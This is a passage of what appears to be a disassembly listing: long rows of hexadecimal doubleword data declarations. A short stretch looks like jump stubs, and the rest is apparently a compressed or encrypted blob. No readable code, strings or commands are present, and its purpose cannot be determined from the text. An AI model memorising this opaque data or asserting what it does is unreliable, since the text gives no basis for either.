325277CBh, 9CACACh dd 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h, 5, 1, 0A28h dd 2, 20h dup(0) dd 57020235h, 1F37E9h, 52926800h, 0BE9060Ah, 68FFFD2Dh dd 60A5382h, 0FD2D01E9h, 547068FFh, 0F7E9060Ah, 68FFFD2Ch dd 60A551Eh, 0FD2CEDE9h, 560E68FFh, 0E3E9060Ah, 68FFFD2Ch dd 60A56E3h, 0FD2CD9E9h, 579468FFh, 0CFE9060Ah, 68FFFD2Ch dd 60A5848h, 0FD2CC5E9h, 5C0D68FFh, 0BBE9060Ah, 68FFFD2Ch dd 60A5C71h, 0FD2CB1E9h, 5D6D68FFh, 0A7E9060Ah, 68FFFD2Ch dd 60A608Eh, 0FD2C9DE9h, 640368FFh, 93E9060Ah, 68FFFD2Ch dd 60A6744h, 0FD2C89E9h, 688D68FFh, 7FE9060Ah, 68FFFD2Ch dd 60A690Ah, 0FD2C75E9h, 695D68FFh, 6BE9060Ah, 68FFFD2Ch dd 60A69D0h, 0FD2C61E9h, 6ACE68FFh, 57E9060Ah, 68FFFD2Ch dd 60A6C1Dh, 0FD2C4DE9h, 6CE668FFh, 43E9060Ah, 94FFFD2Ch dd 528FD7B1h, 5D82076h, 0F8157D2Bh, 0B0ADB59Bh, 58F90157h dd 0FCA8851Eh, 361A7994h, 81D7332Eh, 0D88EE479h, 0FA451FB0h dd 3079A44h, 0A2269C04h, 0FE181E44h, 0D1411870h, 5E0E3335h dd 55BDE3C3h, 5E0462FFh, 56FCACD8h, 4EA96330h, 0F3440EDh dd 0B006F18Bh, 0F0030A22h, 545C00C0h, 22D169E2h, 97F0030Ah dd 2CF58507h, 0DF07CE38h, 0C99FF859h, 268ED44Fh, 0BE1E581h dd 0E1FC3F04h, 34C6B5h, 0CF220000h, 7BE1A1F7h, 6C267F95h dd 34C1DA93h, 0C0A3A0Fh, 4E1A77CAh, 0C11D9D9Eh, 7155030Ah dd 3102A47Bh, 30AC18Dh, 0AF25E5CDh, 0B5E174E8h, 0E2AFh dd 4E5B500h, 56AB7B2Dh, 0AD2C2A70h, 0B44E0450h, 0CB9D2112h dd 0D5DD050Dh, 0DCBD066h, 0BEA09005h, 98F8B501h, 2107C7D5h dd 0A0C52B0h, 99E1B78Fh, 0DFE275Ah, 0FEA48205h, 351B7B96h dd 8A12919Fh, 2B7F44EBh, 3D2BFD7Bh, 0A69151ADh, 50D3510h dd 3E386050h, 0AB944E76h, 0F34614Ah, 30647DDCh, 22DE8EC6h dd 0F950CA12h, 5305639Ah, 0A979A1E5h, 9A306563h, 35C23799h dd 0E9A39309h, 93DEE957h, 0C4C7D9B7h, 38CC37Bh, 8BB38305h dd 0F96546DBh, 0DF62E0ABh, 345C8459h, 0B1A8FCD9h, 90E69A1h dd 5C90ED63h, 3000001Ch, 0EE638BDDh, 0A1BCC48Ah, 14C91147h dd 0CC01693Fh, 0BC5DA5F3h, 90C421C2h, 0EABE9548h, 25734F82h dd 7C2200DDh, 1E19BB14h, 3079998h, 0A2F248D8h, 0BFE5C641h dd 94F26F77h, 95CCA6CEh, 936C267Fh, 0F34C1DAh, 70243D1Ch dd 621ECE86h, 0CC32E452h, 0CD93950Eh, 3D6B47A0h, 64D655F5h dd 2C030A34h, 0F65DC428h, 0F8B5E269h, 95A11072h, 0AF918ACEh dd 0E6A2E1DFh, 0B689595Dh, 0BEh, 0CB44A2B2h, 48A8A5EBh dd 2C541006h, 0DB63DC76h, 9B050DCBh, 9C7DFBABh, 0E863D583h dd 50DC795h, 0DC62DD77h, 9C050DCFh, 969F494h, 0C0263B43h dd 0DC0A9C9Ah, 126CCD87h, 0A5EDB391h, 13054BA8h, 0EE9B353h dd 0F349BF1h, 0B3697141h, 58D5C54Dh, 24E41F6Bh, 0E1BBF8EEh dd 359CC516h, 673D0509h, 93FBA98Ah, 0DE371D7Eh, 90ED24Ah dd 6C3B52C8h, 2000001Bh, 9E739BCDh, 518CD4BAh, 4D92177h dd 0FC11792Fh, 8CADB5E3h, 0A0F4D1D2h, 0FAAE8558h, 35637F92h dd 8CD2302Dh, 2E09AB64h, 3079888h, 0E5E258C8h, 0E84EA943h dd 0A8050DCBh, 0CB239B98h, 5363050Dh, 74DAEB3h, 5E0462FFh dd 17E5BC36h, 0ADC12148h, 3167434Ah, 87478FC7h, 0C1235CBAh dd 37E1579Fh, 0AAACFADAh, 0FFD72AFAh, 2586383Bh, 0FEC6050Dh dd 2563DB24h, 1323050Dh, 0FED831EBh, 0B690F8A8h, 3989DF5Eh dd 0C68E88DCh, 0CF22C49Eh, 0FFB7A1F7h, 193CC2Fh, 53630F34h dd 0A87BCB06h, 779DBFB8h, 6E8B742Eh, 0DEB5BD55h, 80C660D6h dd 0C22039D3h, 56892D0Eh, 0F9C9B983h, 5F0F47B1h, 0C37BA85h dd 6353B3BAh, 260E43A9h, 5C4207F3h, 0FD5CF68Ch, 5A0C64E7h dd 0F660A8DCh, 3313EEBEh, 0EAC8056Dh, 47C1ADA4h, 0FD734E93h dd 1A7EE0h, 0ADFBD200h, 0E6A88845h, 3365439Eh, 8BD1362Bh dd 0C78DEE63h, 0FFE49EBFh, 0B3AEB6E2h, 65F80050h, 0DE335B09h dd 0D54A92F8h, 9F7EC033h, 563E0307h, 1E44A2DCh, 1B588E18h dd 1D41AF41h, 0FF3D8022h, 4856626h, 640F348Dh, 0CAB8865Ch dd 57144FF6h, 8FB79DFEh, 8B91B7DFh, 0BC192F0h, 33B46F28h dd 42979F09h, 5AEA888Fh, 0FFA4A24Dh, 0D039DA25h, 0B989C885h dd 48EE49E3h, 69C4BBD3h, 98A84408h, 8EC46EC8h, 493C3FD5h dd 2DCE8289h, 94F24F05h, 0DECA6CEh, 2D8EA737h, 36DA1963h dd 8C5C080Eh, 120B51B1h, 416B1122h, 0D0136AE0h, 0BC000019h dd 7A97FFA9h, 2D20481Eh, 0E07D85D3h, 58B5DD83h, 30C1297Fh dd 450AD36h, 5E0261FCh, 0A9FFDB36h, 0E0B68C41h, 926D0798h dd 3079E2Ch, 0E50EE46Ch, 48AE2D04h, 28501402h, 5BA6662Eh dd 0A640D37Bh, 0ADABF9DAh, 53CD77F9h, 3ADC5A82h, 704CCF27h dd 0E42EFE26h, 1C1FB5EEh, 0F34308Bh, 59F31B2Bh, 0ECBCE2C0h dd 0C81E55DAh, 4906F1ABh, 0B9093317h, 0B586425Ch, 50D2F01h dd 0CF497141h, 0CC72CD87h, 8C050D2Fh, 4BA67CA4h, 6D683868h dd 55F7BAEEh, 79F27898h, 0A6A270CAh, 3D2BE1A1h, 0B051A278h dd 939C04h, 33949A30h, 0E0ACFAD9h, 0A771F797h, 8D8C320Dh dd 0E4CC9FA2h, 4A6CC77Ah, 0F292FFBDh, 0A3BC0A58h, 2417CDF5h dd 959B2DA1h, 84CA28C5h, 4BAB865Ch, 260FD05h, 0BB0EC29Ah dd 0FBD82E46h, 2C256D95h, 6C749C56h, 0E06F0E04h, 0AC000018h dd 6AE70F59h, 0DD30580Eh, 904D95C3h, 4885EDB3h, 0D1396Fh dd 14405D46h, 6E3211CCh, 0B9EFCB06h, 0F0A6BC51h, 0A29D37E8h dd 3079D1Ch, 0A27EF45Ch, 8E181E44h, 0F6411B58h, 0F34F54Dh dd 7BADB5FDh, 0B8A58BA0h, 92966D74h, 0BC76C82Bh, 0E36030Ah dd 8B330CC6h, 0CB030ABCh, 0E3E12BFBh, 271218B2h, 5B7EFA7Eh dd 0E84B11B1h, 933F8AFh, 4FBD575Fh, 0C1693C90h, 97F292CCh dd 0CB65F854h, 67D06A78h, 0F84F0EDFh, 3361429Fh, 0C45981C5h dd 21EBBBEDh, 5FD87223h, 0F2760CBAh, 74F7CD2Ch, 4101491Fh dd 8234079Dh, 0C2FE480Fh, 0FA4CCAF2h, 221DB7ECh, 0F47155AFh dd 8F21FBCBh, 150351B2h, 0B3E5FC51h, 62280E13h, 0B9EFC71Ah dd 0DA08E4A0h, 0F18C820Bh, 180Bh, 0D23A6E41h, 6B73253Fh dd 0B8C096F6h, 0F0184CA5h, 0C54001Dh, 117271EDh, 0C3263B43h dd 0BE98759Dh, 754D80E8h, 0AC48C72Fh, 79DEB53h, 413BAB03h dd 181E44A2h, 411B588Eh, 207652AFh, 4DAE7E36h, 0F34EA80h dd 0EE384070h, 3065631Ah, 0F1DC999Ah, 42C0933h, 0D1817AF1h dd 0F1179172h, 0F40DEEA4h, 629CFC3Ch, 0D133B28Fh, 95DD898Fh dd 0BF23E3A3h, 21278177h, 0EA5DDE74h, 8E9AFB65h, 340DECA6h dd 0F6BF660h, 0AB711159h, 0EC7056h, 1468999Bh, 0C15BA3EBh dd 0AFF5D22Fh, 0B87EFDA9h, 0F896C553h, 2D0518C8h, 6EACEE67h dd 0F0767554h, 175A9Dh, 89DF3600h, 0C294EC61h, 1F49A7BAh dd 573D1AF7h, 0A3F1D20Fh, 23C0BA5Bh, 974A92C6h, 4984ECBCh dd 2DF276Dh, 0B9167E24h, 9C9A1C1Fh, 4ADA0307h, 1E44A2F0h dd 1B588E18h, 1388E841h, 0BBEB6D33h, 2E09D373h, 0F33BBF7h dd 88613B0Bh, 9228F8AEh, 0E9F1A7BFh, 784646Ah, 60375203h dd 0A7EDC518h, 0C64C55Fh, 42808A5Ah, 0BEB8EEC4h, 7214CEF6h dd 0A4EED18Ch, 8D5D47F6h, 397677AEh, 0E1BB8B09h, 0AC662808h dd 0EE3D2B5Eh, 0DDDFF82h, 0A02808C5h, 701E6967h, 0D0E515ABh dd 3EF1E06Eh, 8429EC52h, 0AB2C948Ch, 0E64F563h, 3497C158h dd 271D091Ch, 16A646h, 0C583EA00h, 1E40A0BDh, 6B3D1BF6h dd 0A3E9CE03h, 0FFA5865Bh dd 970C4697h, 4B86EEBAh, 3DD03868h, 0F66B7321h, 0EDA2CA90h dd 9356E84Bh, 8E160307h, 0E07F9534h, 1669DDC0h, 5BF1391Fh dd 1A4CA881h, 0BBB8681Ch, 0F33787Ch, 1E07680h, 6D907495h dd 7DF2C92h, 1C446C03h, 0C2643ED4h, 7DFCD71h, 11708D03h dd 559DC94Fh, 44AA8B5h, 643356FCh, 0DFDD4DAEh, 75BD0307h dd 0D39051DFh, 2F252415h, 0B506F97Fh, 0FD0307E9h, 0CB28D27h dd 4C0307E9h, 4CA0A464h, 6E3814F5h, 2C296F3h, 0E4890B48h dd 0C23DD7B5h, 307D17Ch, 0CB54F43Ch, 77h, 0F043E509h, 50DCB4Eh dd 0AC66260Eh, 8224FEA5h, 7D55A7BCh, 81C53361h, 0B1B1829Fh dd 0E4901211h, 0D0E0050Dh, 1103343Ah, 0BAF4958Ah, 5C0FC9B4h dd 41019852h, 77D664E7h, 9CF7050Dh, 0AF884ACCh, 50D7717h dd 96F26F57h, 449C56C0h, 0E5BF4B70h, 0C8544117h, 68387E17h dd 0C281886Ch, 49AFDACCh, 13h, 0CBFFBC8Fh, 0FBE9050Dh dd 0E217E0BAh, 520F34EAh, 0E5A01A62h, 0FB7D2B04h, 0D3311BCBh dd 6A6FC882h, 3C0F34F3h, 0A395C3DDh, 77BF23E3h, 6C321081h dd 0A3E9C904h, 9DCB24B5h, 3CB0129Bh, 0B38C44A2h, 30AD30Bh dd 2B337B4Bh, 0D08AD036h, 7831A16Ah, 0C898E5D7h, 0D58EC46Eh dd 576F3C3Fh, 0E7CF0933h, 3E64429Fh, 0CD71C264h, 8D050D38h dd 0D103E5A5h, 0CC4A1C78h, 0F06BC898h, 0F9FDC791h, 6F47179Dh dd 0AC8E6339h, 888ED233h, 0E2A294DCh, 0DF372A22h, 35128F89h dd 879BE96Fh, 1F455D2Dh, 563C1AF7h, 530046E0h, 967DBEB9h dd 61B7702h, 0C9FD7B21h, 6CCF6519h, 7B3C98CAh, 42166F8Ah dd 206890D4h, 6EFC42D8h, 0F65313E9h, 300DB182h, 654D7B3Ch dd 0B2906D3Dh, 94EF6AECh, 276F3511h, 1576CB6Dh, 306ACC4Fh dd 694B7B3Ch, 0F9753127h, 9E2013C9h, 0DE7B3C30h, 8D3036D6h dd 0AD8CA309h, 5F170157h, 45B3E1C2h, 0E6FC4101h, 5DB5A8B0h dd 0A1A701F7h, 24DD5EF4h, 0D471050Ah, 2939FD7Eh, 3F187D3Bh dd 65AD9569h, 0BCE2C01Dh, 2979C1BAh, 0F6A26D3Bh, 0DB743608h dd 0B3537FDCh, 0B58D5D57h, 684A87EFh, 73CE603Ah, 90D44216h dd 3B541BA3h, 5BBE5B6Dh, 1B4303F5h, 136CED4Bh, 0AC40D345h dd 64C8BD5Eh, 0CC9CFDB3h, 684A2488h, 233FD23Ah, 31168375h dd 0F840ED6Bh, 0E3252A72h, 2F091867h, 8FB7FF79h, 77E1B792h dd 816B6F3Fh, 0BFC78DE9h, 241240A2h, 451F4482h, 2C5F9FAh dd 0C82B8967h, 6B3CE576h, 55297F57h, 3F55BB8h, 65D31B43h dd 21B93307h, 0AE6A4AC5h, 3CE5E94Dh, 5199A96Bh, 1DC869E7h dd 10713F6Dh, 8558A0E8h, 0E071E7ADh, 0F95ADC82h, 1B7B1399h dd 64E254A7h, 92A26B3Ch, 7F59B06Ah, 0A7672F29h, 1A7EC5AFh dd 46051E0Ch, 0C3000000h, 241240A2h, 0EACA4482h, 0CBD8527Ah dd 3C6402CFh, 0E2845EF4h, 0D22AD11h, 5C5ED05h, 3476F926h dd 6339090Fh, 4E1070C9h, 0A0969CDh, 49192903h, 2B3001h dd 91680000h, 0FC6AECB0h, 9BB411C1h, 0BC6C9496h, 8040A2C6h dd 0DCB0FB7h, 86CC2E05h, 0A492DAEAh, 0C59FC402h, 34C98D7Ah dd 0EDF53D0Fh, 0F8936917h, 2013C9EAh, 0F34EF67h, 53F5AF97h dd 4EC89EFEh, 0D7A11506h, 74C7030Ah, 30AD7C2h, 303EB282h dd 0EF4D69B4h, 48184088h, 5F68CE0Dh, 687E765Fh, 4DA6914Bh dd 0FDFD8073h, 0E3E143B5h, 941F18B2h, 0F0FB872Ah, 0E1573D15h dd 4AA77DA5h, 3DE266Ch, 0C6E47D23h, 64166885h, 12E18FEEh dd 58AF0000h, 0F65F800h, 0C0DC3159h, 0B2934E96h, 6E4B86EEh dd 4703D23Ah, 0CD15435Ch, 76F3110h, 52BAE8CAh, 0E9F1A7BFh dd 1DA19236h, 5D030797h, 0FABC7FF5h, 0EC050DC8h, 14E7BDE6h dd 0F34C853h, 70C983B3h, 0B78A4016h, 470F095Fh, 0B0924F87h dd 8DE574E2h, 0E86E3412h, 0D79D74BCh, 65031603h, 127D8EEFh dd 0FCD30000h, 0AB8944ACh, 64409DE5h, 0DE372A32h, 92EF628Ah dd 0E39FBEC6h, 0A9B1E7C0h, 0E30B5DB4h, 3E460C6Eh, 759DC323h dd 793D3EDAh, 39030797h, 7F95D3A9h, 779E6C26h, 71D02ACFh dd 1E19A363h, 0F345969h, 0EE3B989h, 0C11C642Ah, 0DEBBBDE3h dd 0C6A492F8h, 0D927FAF2h, 0A69519E0h, 14E9B9A6h, 4026A3Ch dd 6A095E09h, 0F3950Fh, 30AC8BEh, 0B16B6FEh, 7EF16729h dd 30AC8BDh, 162983E7h, 0C83B837Ch, 4B7B030Ah, 0FCA2869Bh dd 351B7994h, 5D2B11C3h, 9FC92797h, 0CAF17991h, 81D2301Ah dd 0CC8568CBh, 11210934h, 0F80E67Bh, 0D33B6335h, 0D872D83Eh dd 20216952h, 177372BDh, 0EF491941h, 0BC560F45h, 3E6A4543h dd 5309390Fh, 0AAB298FEh, 573D19F0h, 64CAAB7h, 350B610h dd 795AB749h, 0F7792D2Bh, 0D3D8074h, 959636F6h, 933FA78h dd 5561F8C8h, 9F091CD5h, 1181C499h, 0F8CF0000h, 0AF8558A0h dd 607C91F9h, 0D2332E36h, 8EEB668Eh, 0E763B2DAh, 0ADB5E3FCh dd 0E70F51B0h, 325A086Ah, 4991C7DFh, 7DC132D6h, 3D030796h dd 0C3BCDF55h, 0D2050DCBh, 0B05AA2F0h, 0F64B0152h, 7A00C096h dd 33BAF3F9h, 0EDA78F0Fh, 50C2A91Fh, 0F07E5AE5h, 0D2E32C1Eh dd 0BD171DEh, 0DA5CDF71h, 9A03070Fh, 17E1A4AAh, 0E336544h dd 0B3E5C35Eh, 4E5D1ABh, 24AE7E28h, 0B05A5F5Fh, 1A926h dd 70952200h, 43E54923h, 52C48AEEh, 48F17212h, 41050DCBh dd 9C9F5BB4h, 50DCB1Ah, 34226A5Ah, 0AC924870h, 0C954BFC1h dd 10CA9A61h, 4C5B63E5h, 60D621FBh, 20050DCBh, 958A7010h dd 0B64B2172h, 257E95B2h, 0D46AD56Fh, 0E6050DCBh, 0A8ECFE45h dd 0B3BB7CDh, 1A50E651h, 2010050Dh, 0DE5AFA60h, 0DA5F7ED5h dd 7125B2h, 95230000h, 7F6AE772h, 0E1EB721Fh, 1AE5C3B9h dd 50DCBA1h, 460C6AC7h, 58B994D0h, 824202F4h, 0E51CD6DEh dd 0F043E563h, 50DCB4Eh, 0F590E00Eh, 56BDDD79h, 85E37E2Eh dd 0F6DFFB41h, 0D8418B92h, 0D2CE35Bh, 6346A305h, 438B3B3Dh dd 0B2FB411Bh, 0EC9267DBh, 0A6181BB1h, 0E6050D42h, 0CC540EDEh dd 0B417E548h, 51557DCCh, 6D33130Eh, 395CBDh, 95E40000h dd 0E54B2172h, 0AB7B2D04h, 0CB952611h, 1EF3050Dh, 0A1E55339h dd 0A47E34E1h, 0CB8D3102h, 54AC050Dh, 9C501402h, 0E50EF494h dd 0C58BEE43h, 65256B48h, 1442A2FFh, 0D548CC5Eh, 0B2DA5F7Eh dd 4225h, 7E952300h, 0B0926F25h, 0E5B822E2h, 7350A943h dd 0CB882E2Dh, 0F8C8050Dh, 0CB76CB28h, 7E10050Dh, 63D080E3h dd 50DCBDBh, 7FBAB9Bh, 63E5453Fh, 5A1046A2h, 4E548CCh dd 0C8FC7A2Ch, 34F918h, 95030000h, 0D56F257Eh, 0DCBD46Ah dd 0B1AC9405h, 9A400054h, 0CBA11AE5h, 1AA8050Dh, 0E563E560h dd 0FA7C2A04h, 2D071ACAh, 68CC817Bh, 6AECB091h, 9DCB273Ah dd 17E517CDh, 237940B0h, 1D7C2C8Ah, 0FFFFFE52h, 80F1B987h dd 8C957A4h, 4E5A258h, 64AE7E28h, 9C9F356Eh, 0F33BB65h dd 1EF3A999h, 0EFB5553Bh, 0B46E3412h, 849D2112h, 0D5DD0307h dd 94341A78h, 0E4B3D67Ch, 8469CD2Eh, 19290307h, 84249C1Fh dd 7C500307h, 0B6B29178h, 2F79B5E4h, 0FF000000h, 782E04E5h dd 1516B6FEh, 50DCBA5h, 90F8AE84h, 0DCBDE63h, 0D99AC805h dd 0ECC73003h, 89770F34h, 0B987F1EEh, 66E9601h, 0B637h dd 7F954D00h, 32936C26h, 820F34F6h, 121218B2h, 74639BD3h dd 976A30D0h, 4885EDBBh, 943E386Eh, 8C6F257Eh, 9340161h dd 89DF38D5h, 0D0A58B41h, 1D43A6E4h, 0CBE56B1Bh, 1EA464BEh dd 69712703h, 0DD5E9AF4h, 5003559h, 77E12919h, 837CB7DDh dd 500353Bh dd 49034B7Bh, 35F244B7h, 82B20500h, 24E4B48Fh, 0D65C49Eh dd 0F595D147h, 3E7DDA76h, 8C466E0Fh, 0E70F55ADh, 0CF460C6Ah dd 3154DBDh, 60E8857Bh, 2C00000Eh, 0EA678FD9h, 5DB0D88Eh dd 10CD1543h, 0C8056D33h, 8051B9EFh, 94C0DDC6h, 0EEB2914Ch dd 396F4B86h, 70263CD1h, 221DB768h, 307AB9Ch, 0A2FE74DCh dd 0FE181E44h, 0D95F0163h, 260FDADh, 1979DA5Ch, 609BFB93h dd 0CC145C02h, 0DA672166h, 54E8AFh, 956C0000h, 0C197F37Fh dd 0B6EC399h, 0A5EBC845h, 0E3855FE5h, 0DCBAE10h, 6C6EE05h dd 34C9CC25h, 6DF27C0Fh, 635034CAh, 0F061D71Fh, 0A9A4CC92h dd 0C3150349h, 3CB0C329h, 1F225459h, 0A4D9A1Ch, 3AEADA03h dd 0EBA1F210h, 3370AF08h, 0CF171F09h, 0C89EF455h, 46A26218h dd 8DE77A10h, 49C30BDBh, 3C1596F0h, 9D602068h, 0BD67D187h dd 0CBA6181Bh, 0AD87050Dh, 8AEA07FBh, 77F494DCh, 50DCBF4h dd 0B7DF85E1h, 643E676Dh, 33BA889Bh, 1EB4FC0Fh, 6B732503h dd 5F6ED591h, 8235B05Ah, 33000001h, 49237095h, 7E2804E5h dd 0F7570AF8h, 6D62F23Ah, 5DF6525h, 0F42E9063h, 466E050Dh dd 0F414A586h, 531D050Dh, 0F6D29548h, 70FEB6A0h, 0C50D0936h dd 5B63E52Fh, 66FB4Ch, 0F8A8DC5Ah, 2B04E502h, 1BCBFB7Dh dd 7858DE31h, 3FA7ED0h, 448C76D7h, 0B2B6661Ch, 4F257E95h dd 7ED5DE5Ah, 25B2DA5Fh, 6Ch, 288E6903h, 68F80DCBh, 4059D99Eh dd 0DA02B261h, 7295500Ah, 4E54B21h, 0FEF4BA2Ah, 65FACAA9h dd 3DD76D3Dh, 0A690C6DCh, 8177D93Bh, 6ECD9DC5h, 50D71CDh dd 902611ABh, 0D0050D71h, 74BC20E0h, 0A263E5FEh, 0A47E1442h dd 0DCBE35Bh, 0F393A305h, 0E548CC09h, 23576E17h, 0BF6FD400h dd 425Eh, 0D720FA00h, 50DDB6Fh, 9D47072Fh, 4B217295h, 4EF043E5h dd 28050DCBh, 0DCB77CFh, 730F3705h, 7EF98343h, 50DCBBDh dd 0E504FEB4h, 1442A263h, 8268CC5Eh, 4DB338DAh, 0F3ED4E8h dd 2C020BF5h, 0D5CBB151h, 0B2DA5F7Eh, 3225h, 7E952300h dd 43E54F25h, 0DCB4EF0h, 66260E05h, 0CBDE63DCh, 969E050Dh dd 0E563E5DCh, 0A8782E04h, 53297F55h, 4E548CCh, 0C8FC7A2Ch dd 32F918h, 95030000h, 816F257Eh, 0FD8CE319h, 0DC86462Dh dd 0CBA11AE5h, 1AA8050Dh, 0E563E560h, 4827C117h, 0B555D7FEh dd 4C0648A8h, 2C296EDh, 2804E558h, 0BB3DAE7Eh, 7C2A04E5h dd 0FB1ACAFAh, 0FFFFFE75h, 2E04E501h, 0CBB509EAh, 0CDF5050Dh dd 33D39385h, 0F0AACB19h, 33BBC007h, 5EF43C0Fh, 3E8867D0h dd 0AB87A7EDh, 4F15B5FDh, 3E1B94F2h, 0CDF5A3BFh, 8BD31B4Bh dd 99336061h, 6CD22DC7h, 2C0307E7h, 5FE74404h, 1F0307E7h dd 44B2E0C2h, 845ED800h, 0AB84E2B6h, 91319622h, 7711292h dd 8A626603h, 0E521C087h, 2647B5h, 0BC8D0000h, 50DCBFEh dd 4991C7DFh, 0BB68h, 101EB000h, 3993530Eh, 0B105F697h dd 0F1050D98h, 0EF693F14h, 35AF7FA7h, 4BB47F95h, 50DCBF3h dd 815B83B3h, 349F89B6h, 5309390Fh, 0AEB69CFEh, 683C15F4h dd 1B49A5B8h, 185D8B1Dh, 970AF142h, 48B60934h, 0ECBD53D4h dd 752F5738h, 84ECBA94h, 31276D49h, 6E247197h, 0FDD36BD4h dd 0A3930500h, 0AA8759E3h, 0FA1C1A48h, 0FDC579h, 75BD8505h dd 0B5FA56D5h, 664E0F3Eh, 2F754DACh, 662C0AC7h, 1595E7EFh dd 7E1F1503h, 0AEBh, 0F21A4EA1h, 0B53051Fh, 58A0F6D6h dd 90F8AC85h, 2C34607Dh, 7152510Dh, 2306DB23h, 9EF8157Dh dd 55ADA0C8h, 8C28E70Fh, 7AF0BB3h, 61DB4B03h, 181E44A2h dd 5F359B9h, 74F07E92h, 44240DB1h, 0BEDAF7F9h, 9DC5AC9Ah dd 4B2389CDh, 77DD256Bh, 0AFDB3A10h, 4297h, 7F955D00h dd 77CA6C26h, 9DC94F19h, 0F2816ECDh, 1310F34h, 74AC8A17h dd 0ADD338Bh, 1B437303h, 52381EF3h, 5F0442E4h, 898DBA85h dd 151B0933h, 61B7CAEEh, 0CB34EE41h, 50D5673h, 9F430333h dd 0A2F54F97h, 0BC81046h, 50DCB8Ah, 81E9BF9Bh, 92486D7Bh dd 33BB43A1h, 1DB7FF0Fh, 0D086E67Bh, 892D2E66h, 0C9030784h dd 5B0D64F9h, 3C18F18Bh, 7859B06Ah, 30B42A14h, 42DEF149h dd 0D5F04A82h, 0B05A5F6Eh, 6543DE70h, 9281C533h, 0FA8DCB2Ch dd 0BB84446Ch, 142h, 237095B9h, 0A11AE549h, 0A8050DCBh dd 0FEFA401Ah, 4730F71Ch, 0E5F56F3Fh, 0EE92D04h, 50DCBA8h dd 0BD90D8E8h, 952FFFA5h, 0DB4C5BD3h, 4B217295h, 7E95B2B6h dd 0B4926F25h, 6C3C68EEh, 0E5DE5AF6h, 0F87E2804h, 21761CCCh dd 88B2DA5Fh, 5Dh, 2172954Ch, 0A11AE54Bh, 0C7050DCBh, 28666579h dd 0A889B2F0h, 9EF50DCBh, 9A46064Eh, 3C19F0AAh, 0E5C2B868h dd 0C78DEE43h, 8F751551h, 7E1442A2h, 276D45A4h, 30867531h dd 70050DCBh, 0CCDA8040h, 28B29168h, 561ABD73h, 67D119DDh dd 89FC42BDh, 74BC050Dh, 5EE69C4Ch, 2Ch, 217295DAh, 0A11AE54Bh dd 0C7050DCBh, 0CB6CD22Dh, 0EF5E050Dh, 0FFC892DAh, 42DFE79Bh dd 81C53361h, 0A45E54C1h, 42A263E5h, 48CC5E14h, 0DA5F7ED5h dd 2B25B2h, 95230000h, 0E54F257Eh, 0DCBA11Ah, 1BD1E105h dd 46A263E5h, 4E55A10h, 64AA92Ah, 7C2C58DEh, 4E5158Fh dd 0A8A9792Fh, 30h, 0F043E5D0h, 50DCB4Eh, 0AC66260Eh, 0E506FCA7h dd 6C30FD43h, 0F2EC51E5h, 3968D152h, 4161050Dh, 0E563E5ABh dd 0FA7C2A04h, 2D071ACAh, 48CC817Bh, 0FFFEA65Eh, 7F95DAFFh dd 54936C26h, 8E0F33BBh, 915F5CA0h, 7B010A6h, 0FE605003h dd 0AC84A7EEh, 487CFAh, 0F264300Dh, 936E12B2h, 77D938B3h dd 559DC581h, 8C44A2BFh, 74C0BB3h, 337B4B03h, 93C0012Bh dd 0EECA27F9h, 56F6BEB8h, 74C61D5h, 0CF2A0703h, 2D15C999h dd 4C30B02Bh, 40440307h, 0EE9EE56Ch, 1F65B5E4h, 0E3000000h dd 0DCBFEBCh, 91C7DF05h, 0CB6849h, 59B00000h, 0F721177Dh dd 0DCBB204h, 9AC2F205h, 7F9510CAh, 6A936C26h, 0AA0F349Ah dd 0D69C09Ah, 0C0223F47h, 0C402A492h, 0EB442259h, 8AB2269Dh dd 4A526AD0h, 2E5B112Bh, 2F02A47Eh, 0D59187D1h, 79C33635h dd 3F070934h, 0CF909765h, 7AB3F919h, 0DD3910AAh, 90F26F77h dd 6F03BA04h, 0A9A4BC9Fh, 67D1194Fh, 4DE87CDh, 0E5B38F62h dd 0A7A2F573h, 0CA27A56Bh, 0C761C282h, 730F3E85h, 51B08943h dd 0C05D090Fh, 0F47B1E7h, 4EA4855Fh, 51DF018h, 0C5DAC65Fh dd 0E2580315h, 7AA8Bh, 0D98FE600h, 12445CB1h, 6F3917CAh dd 0A7EDCA07h, 0F3A1825Fh, 93104AEBh, 479AE2B6h, 39D43C6Ch dd 0F26F77DDh, 0E9A6CE94h, 0AC4AEC4Fh, 9A0A0307h, 2A04E520h dd 1ACAFA7Ch, 0FF792F07h, 845E0462h, 11074DA5h, 20B3B555h dd 42A03AB2h, 8BEB461Ch, 731353C5h, 6BD2B11Bh, 2059AFDAh dd 9F000000h, 6C267F95h, 34E95A93h, 8C8ABA0Fh, 0AEAAF13h dd 9E3E703h, 0E18C4106h, 62C8B5h, 0E50C0000h, 99721017h dd 0F191249Eh, 0B2680D5Bh, 34774041h, 0F9D5300Fh, 64F563ABh dd 9A30580Eh, 7BFDAB87h, 90410D8Dh, 357DE4E6h, 0E4AA8895h dd 0E1B2D072h, 458EC52Bh, 0D05E0864h, 0CA24E872h, 0A2EA9A9Ch dd 26DF58E2h, 0E609333Ch, 8F6204DEh, 0C175E6B2h, 0E0050D43h dd 2F67D187h, 8DEE6353h, 75CF07C7h, 7E2804E5h, 0CD7098AEh dd 3B04DE87h, 0F34EF7Ah, 9C5FBA8Ah, 4380A245h, 475E51DFh dd 0B71A9827h, 8ED73D17h, 0F18E6BD4h, 0F63EC945h, 0F3A0A600h dd 0A86BDE59h, 270FCF42h dd 0B2569F6Dh, 7537DECBh, 94750FD5h, 75233CBFh, 0A2809D4Dh dd 0B38C26FCh, 0C37CDD0Bh, 0A3AB7B4Bh, 0FED748AEh, 0F7EB62AAh dd 3D42ABF0h, 661A6C7h, 0D82F0000h, 8FE57880h, 405CB1D9h dd 3213CE16h, 0EECB066Eh, 0C78352BAh, 4D95C3DCh, 87EFB190h dd 0D23A684Ah, 6971273Fh, 9D2112B6h, 0DD0307A3h, 17E5FF75h dd 3D75617Ch, 90C0236Dh, 4DA5B868h, 0D9FF4D07h, 0BAE408Eh dd 0CD3B7653h, 266F0943h, 37118066h, 7156AB61h, 6BD792EDh dd 357DBBD6h, 8BC383C3h, 98326361h, 33D9649Fh, 0A690A00Fh dd 928BDD3Bh, 312DA1Ah, 0E44B2218h, 0A8000005h, 66FB0345h dd 0D9345C02h, 8C41A9FFh, 4499E1B7h, 4D53D6Bh, 287C594Ah dd 62360DC0h, 0BDEBC71Ah, 0F45AB855h, 0A69133ECh, 307A210h dd 0E56AC050h, 0AD7D2B04h, 9E346167h, 33BB5E9Dh, 2F07E20Fh dd 5AC73179h, 0C5352C7Ah, 870312B7h, 